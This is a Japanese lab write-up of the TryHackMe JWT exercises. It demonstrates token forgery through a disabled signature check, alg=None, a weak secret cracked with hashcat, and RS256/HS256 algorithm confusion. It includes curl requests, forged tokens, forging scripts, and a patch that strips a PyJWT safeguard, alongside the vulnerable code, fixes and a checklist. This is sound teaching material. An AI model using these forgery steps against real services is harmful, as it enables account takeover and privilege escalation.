はじめに
JWT の安全性は 「署名が正しく検証されていること」 に全てが乗っています。
どれだけ強そうなアルゴリズムを使っていても、
- 署名をそもそも検証していない
- アルゴリズム指定を信じてしまう
- シークレットが「secret」レベルの弱さ
- RS256/HS256 をごっちゃに扱っている
といった実装ミスがあると、攻撃者に トークン偽造 → 権限昇格 → アカウント乗っ取り を許してしまいます。
この章では、TryHackMe の Practical Example 2〜5 に沿って、JWT 署名検証まわりの典型的なミスと、その修正方法を整理します。
1. シグネチャ検証ミスとは何か?
JWT の構造は以下の3つでした:
- Header(ヘッダ:alg, typ)
- Payload(ペイロード:claims)
- Signature(署名)
このうち、「改ざんされていない」ことを保証するのは Signature 部分だけ です。
したがって:
署名を正しく検証しない = 攻撃者が任意のペイロードを書いて「正当っぽく見せられる」
という状態になります。
これから見る4つのパターンは、全部この「検証がザル」という共通点を持っています。
2. 署名をそもそも検証していない(Example 2)
問題の挙動
- 通常どおりログインしてトークンを取得:
curl -H 'Content-Type: application/json' -X POST \
-d '{ "username" : "user", "password" : "password2" }' \
http://MACHINE_IP/api/v1.0/example2
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}
tokenを解析して
{
"typ": "JWT",
"alg": "HS256"
}
Decoded Payload
{
"username": "user",
"admin": 0
}
そのトークンで自分のユーザを確認すると:
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4' \
http://MACHINE_IP/api/v1.0/example2?username=user
→ "Welcome user, you are not an admin"
ここまでは正常。
ところが、トークンの 第3部(署名部分)を削って 送っても検証が通ってしまう:
ヘッダ.ペイロード.
さらに、Payload の admin: 0 を admin: 1 に書き換えて再エンコードして送ると:
書き換えたToken
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.9SCUBKr8YVDh0y5dClP7JZsjWpHPOojJ3ywGvhqU3v8
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.9SCUBKr8YVDh0y5dClP7JZsjWpHPOojJ3ywGvhqU3v8' http://MACHINE_IP/api/v1.0/example2?username=admin
{
"message": "Welcome admin, you are an admin, here is your flag: THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}"
}
完全にトークン偽造成功です。
開発側のミス
コード側ではこうなっていました:
payload = jwt.decode(token, options={'verify_signature': False})
verify_signature=False にしているので、署名を全く検証していません。
つまり「JWT の形をしていれば中身をそのまま信じる」という危険な状態。
正しい修正
署名検証は必須です。
秘密鍵(または共有シークレット)を用いて、利用するアルゴリズムを明示した上で decode します。
payload = jwt.decode(token, self.secret, algorithms="HS256")
username = payload["username"]
サーバ間通信(server-to-server)でも、
- 「内側だから大丈夫」
- 「署名はどこか別のとこで見てるはず」
といった甘えをせず、基本は必ず署名を検証する べきです。
3. alg=None ダウングレード攻撃(Example 3)
何が起こっているか
JWT 仕様では、"alg": "None" という特殊なアルゴリズムが存在します。
これは「署名無し」を表し、本来は内部システム間で、“すでにどこかで署名検証済み”のトークンを引き回すケース向けに用意されました。
しかし、実装が雑だと:
- サーバが
algを素直に信じてしまう - 攻撃者がヘッダの
algを"None"に書き換える - シグネチャ部分が無視される
- 実質「署名検証なし」と同じ状態になる
という事故が起きます。
Practical Example 3 の流れ
- 通常どおりログインして JWT を取得:
curl -H 'Content-Type: application/json' -X POST \
-d '{ "username" : "user", "password" : "password3" }' \
http://MACHINE_IP/api/v1.0/example3
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8"
}
元のトークンの Header/Payload をデコードすると:
// Header
{ "typ": "JWT", "alg": "HS256" }
// Payload
{ "username": "user", "admin": 0 }
これを次のように書き換える:
// Header
{ "typ": "JWT", "alg": "None" }
// Payload
{ "username": "user", "admin": 1 }
それぞれ Base64Url エンコードして:
<base64(header)>. <base64(payload)>.
(シグネチャ部は空で OK)
これを Authorization ヘッダに載せて送ると、署名も無いのに受け入れられ、admin として扱われる。
curl -H 'Authorization: Bearer ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIk5vbmUiCn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.' http://MACHINE_IP/api/v1.0/example3?username=admin
{
"message": "Welcome admin, you are an admin, here is your flag: THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}"
}
開発側のミス
よくある実装パターン:
header = jwt.get_unverified_header(token)
signature_algorithm = header['alg']
payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)
alg をトークン側に任せてしまい、そのまま decode に渡しているのが問題です。
None を指定された場合にライブラリ側がちゃんと弾かなければ、署名検証がバイパスされます。
※ PyJWT は現在、この問題に対する防御ロジックを持っています(None + secret指定で例外)が、「ライブラリの防御に甘える前に実装側で固定しろ」という話です。
正しい修正
複数アルゴリズムを「自由に」受け入れるのではなく、ホワイトリストで固定する:
payload = jwt.decode(
token,
self.secret,
algorithms=["HS256", "HS384", "HS512"]
)
・None はそもそも受け付けない
・alg をリクエスト側の指定に完全に依存しない
これが鉄則です。
4. 弱い対称鍵シークレット(Example 4)
ここでの問題
HS256 のような「対称鍵署名方式」は、
- 1つのシークレット文字列 で署名・検証を行います。
つまり:
✅ シークレットが強ければ安全
❌ シークレットが単語レベルだと総当たりでバレる
Practical Example 4
- ログインして JWT を取得:
curl -H 'Content-Type: application/json' -X POST \
-d '{ "username" : "user", "password" : "password4" }' \
http://MACHINE_IP/api/v1.0/example4
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY"
}
その JWT を jwt.txt に保存し、辞書ファイル jwt.secrets.list を用意。
Hashcat で総当たり:
hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list
hashcat (v6.1.1-66-g6a419d06) starting...
* Device #2: Outdated POCL OpenCL driver detected!
This OpenCL driver has been marked as likely to fail kernel compilation or to produce false negatives.
You can use --force to override this, but do not report related errors.
OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]
==================================================================
* Device #1: AMD EPYC 7571, 3800/3864 MB (966 MB allocatable), 2MCU
OpenCL API (OpenCL 1.2 pocl 1.4, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
=============================================================================================================================
* Device #2: pthread-AMD EPYC 7571, skipped
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Initializing backend runtime for device #1...
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: jwt.secrets.list
* Passwords.: 103979
* Bytes.....: 1231757
* Keyspace..: 103965
* Runtime...: 0 secs
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY:secret
Session..........: hashcat
Status...........: Cracked
Hash.Name........: JWT (JSON Web Token)
Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZS...F8i5HY
Time.Started.....: Wed Nov 12 15:51:50 2025 (0 secs)
Time.Estimated...: Wed Nov 12 15:51:50 2025 (0 secs)
Guess.Base.......: File (jwt.secrets.list)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 579.3 kH/s (3.09ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2048/103965 (1.97%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/103965 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: -> everybody knows it
Session..........: hashcat
Status...........: Cracked
Hash.Name........: JWT (JSON Web Token)
Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZS...F8i5HY
Time.Started.....: Wed Nov 12 15:51:50 2025 (0 secs)
Time.Estimated...: Wed Nov 12 15:51:50 2025 (0 secs)
Guess.Base.......: File (jwt.secrets.list)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 579.3 kH/s (3.09ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2048/103965 (1.97%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/103965 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: -> everybody knows it
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => Started: Wed Nov 12 15:51:04 2025
Stopped: Wed Nov 12 15:51:51 2025
root@ip-10-201-62-225:~#
結果:
シークレットが secret のような弱い文字列だったため、一瞬で割れてしまう。
割れたシークレットを使って、自分で admin: 1 なペイロードに署名し直せば、管理者トークンが完成:
import jwt
secret = "secret"
payload = {
"username": "user",
"admin": 1
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
これを使ってリクエストを送ると:
curl -H "Authorization: Bearer <自作トークン>" \
http://MACHINE_IP/api/v1.0/example4?username=admin
{
"message": "Welcome admin, you are an admin, here is your flag: THM{e1679fef-df56-41cc-85e9-af1e0e12981b}"
}
開発側のミス
- 「とりあえず
secretとかpasswordとかでいいや」と設定してしまった - チュートリアルコードやサンプルコードをそのまま本番に持ち込んだ
正しい修正
シークレットは 人間が覚えるための文字列ではない です。
ソフトウェア専用の、長くてランダムなバイト列を使うべきです。
例(Python):
import secrets
secret = secrets.token_urlsafe(64) # 64文字相当の強ランダム
運用としては:
- .env / Secret Manager などに保管
- 短くても 32+ 文字以上、できればもっと長く
- 単語辞書に載るような文字列は禁止
5. アルゴリズム混同攻撃(RS256 ↔ HS256)(Example 5)
ここが一番おもしろくて危険なやつです。
何が起こる攻撃か
- 元々は RS256(非対称鍵)で運用している JWT
- ライブラリ側で
HS256も同時に許可している - そして
decode()にsecretとして「公開鍵」が渡されている
この状態で:
- 攻撃者が JWT ヘッダの
algをRS256→HS256に変更 - HS256 の「共有シークレット」として 公開鍵文字列 をそのまま使用して署名を作成
- サーバ側は「HS256 + secret=public_key」で検証してしまう
結果:
公開鍵を知っているだけで、対称鍵署名(HS256)として偽造トークンが作れる
という、本末転倒な事態になります。
Practical Example 5 の流れ(要約)
ログインすると、サーバから:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' http://MACHINE_IP/api/v1.0/example5
{
"public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
}
-
public_key(ssh-rsa 形式の公開鍵) -
RS256で署名された JWT
が返ってくる。
本来 RS256 では:
- 秘密鍵:認証サーバが保持
- 公開鍵:検証用に配布
ですが、この実装では decode() に渡している self.secret に公開鍵を突っ込んだ状態で、HS256 も許可していました。
そこで、攻撃側コードで:
import jwt
public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLv..." # 省略
payload = {
"username": "user",
"admin": 1
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print(access_token)
注意:このaccess_tokenを生成するため、必要な改修がある。以下のように
vim /usr/lib/python3/dist-packages/jwt/algorithms.py
def prepare_key(self, key):
key = force_bytes(key)
# if is_pem_format(key) or is_ssh_key(key):
# raise InvalidKeyError(
# 'The specified key is an asymmetric key or x509 certificate and'
# ' should not be used as an HMAC secret.')
return key
これを Authorization ヘッダで投げると、サーバ側は:
-
alg: HS256を見て「対称鍵モード」で検証 -
secretとして渡されている公開鍵文字列を使って HMAC 検証 - 検証OK → admin として扱う
という形で完全に騙されます。
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU' http://MACHINE_IP/api/v1.0/example5?username=admin
{
"message": "Welcome admin, you are an admin, here is your flag: THM{f592dfe2-ec65-4514-a135-70ba358f22c4}"
}
開発側のミス
両方のタイプをこうやって一括で許可していました:
payload = jwt.decode(
token,
self.secret,
algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"]
)
-
self.secretが「対称鍵用」なのか「公開鍵なのか」を分けていない -
algを見て鍵の種類を切り替えるロジックがない
正しい修正
アルゴリズムと鍵の組み合わせを明確に分岐させる 必要があります。
header = jwt.get_unverified_header(token)
algorithm = header['alg']
if algorithm.startswith("RS"):
# 非対称鍵(公開鍵)で検証
payload = jwt.decode(
token,
self.public_key,
algorithms=["RS256", "RS384", "RS512"]
)
elif algorithm.startswith("HS"):
# 対称鍵(シークレット)で検証
payload = jwt.decode(
token,
self.secret,
algorithms=["HS256", "HS384", "HS512"]
)
else:
raise ValueError("Unsupported alg")
username = payload["username"]
flag = self.db_lookup(username, "flag")
ポイント:
- RS 系アルゴリズムでは 公開鍵 or 証明書 を使う
- HS 系アルゴリズムでは 共有シークレット を使う
- 2つを混ぜない
まとめ
JWT 実装で必ず確認すべきポイントをまとめると:
-
署名検証は必ず有効化しているか
-
verify_signature=Falseとか絶対NG
-
-
algはホワイトリストで固定しているか-
algをトークン側の指定に丸投げしない -
Noneは受け付けない
-
-
対称鍵シークレットは十分に強いか
- 「secret」「password」「jwtsecret」など論外
- ランダムで長い文字列を使う(32 bytes 以上推奨)
-
RS系とHS系のアルゴリズムを混在させていないか
- 公開鍵を HMAC シークレットとして使っていないか
-
HS256とRS256を同時に許可するなら分岐必須